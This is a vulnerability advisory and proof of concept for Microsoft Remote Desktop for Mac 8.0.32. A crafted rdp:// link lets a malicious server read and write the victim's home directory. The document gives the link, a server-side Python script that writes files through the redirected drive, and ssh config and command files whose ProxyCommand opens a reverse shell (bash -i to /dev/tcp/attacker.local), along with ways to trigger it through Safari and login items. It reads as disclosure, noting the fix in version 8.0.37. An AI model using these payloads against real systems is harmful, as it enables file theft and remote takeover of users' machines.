## Description
A vulnerability exists in Microsoft Remote Desktop for Mac that allows a remote attacker to execute arbitrary code on the target machine.
User interaction is needed to exploit this issue, but a single click on a link (sent via mail, iMessage, etc.) is sufficient to trigger the vulnerability.
## Details
Microsoft Remote Desktop Client for Mac OS X (ver 8.0.32 and probably prior) allows a malicious Terminal Server to read and write any file in the home directory of the connecting user.
The vulnerability exists to the way the application handles rdp urls. In the rdp url schema it's possible to specify a parameter that will make the user's home directory accessible to the server without any warning or confirmation request. If an attacker can trick a user to open a malicious rdp url, he/she can read and write any file within the victim's home directory.
Since Mac OS X by default opens rdp urls without confirmation (for example via Safari, Mail, Messages), a single click on a link it's sufficient to trigger the vulnerability.
According to Microsoft, no CVE will be assigned due to the release model of this particular client.
A demo video is available at https://youtu.be/6HeSiXYRpNY.
## Proof Of Concept
The following Proof Of Concept creates a directory on the victim's home and puts a file into it.
To reproduce the issue follow the steps below:
- install a windows 2008 server and allow Administrator to connect without password
- login as Administrator
- configure a trusted ssl certificate for rdp connections
- install python2.7 and put the following script in the "Startup" folder
- logout
- send the link below to a victim
RDC link:
```
rdp://full%20address=s:attacker.local&desktopwidth=i:200&desktopheight=i:200&audiomode=i:2&disable%20themes=i:1&screen%20mode%20id=i:1&devicestoredirect:s:*&drivestoredirect=s:*&redirectprinters=i:1&username=s:Administrator
```
### Python script
```
#BOF
import sys
import subprocess
import time
import os
def runcmd(cmd):
err = None
out = None
try:
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE);
out, err = process.communicate()
except Exception as e:
print str(e)
return out
while(True):
netuse = runcmd("net use")
if netuse.find("TSCLIENT"):
runcmd('MKLINK /D C:\\home \\\\tsclient\\home')
runcmd('md c:\\home\\REMOTE')
runcmd('copy c:\\REMOTE.txt c:\\home\\REMOTE\\REMOTE.txt')
runcmd("shutdown /l /f")
break
time.sleep(0.4)
#EOF
```
## Remote Code Execution
To execute arbitrary code on the target machine we can use a trick that involves ssh and ssh:// URI handler.
Consider the following example where the RDC exploit pushes the following files on the remote machine:
- `~/.ssh/known_hosts`
```
p ssh-rsa AAAAB3NzaC1yc2EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```
- `~/.ssh/config`
```
Host p
HostName p
ProxyCommand /bin/bash ~/.ssh/command.sh
```
- `~/.ssh/command.sh`
```
for a in {1..31}; do trap "" $a; done
nohup bash -i >& /dev/tcp/attacker.local/1234 0 &
```
At this point any attempt to launch ssh://p will lead to the execution of ~/.ssh/command.sh without any warning. To automatically execute the triggering URL (ssh://p) we can either:
- send the link to the victim via Mail or iMessage
- poison Safari cache adding some javascript that launches the URL
- poison Safari "Application Saved State" so that the URL il launched at browser execuition
- poison "loginitems" to launch the URL at system startup
It's also possible achieve Remote Code Execution by sending a single link to the victim if he/she uses Safari as the default browser.
## Update
On Jan 17 2017 Apple pushed a security uptate to Safari that prevents this exploit from working.
This fix is mentioned in the Apple Store:
This update fixes an issue where a website could repeately attempt to launch other websites or applications
## Solution
Update Microsoft RDC to the latest version. The version 8.0.37 fixes this issue.
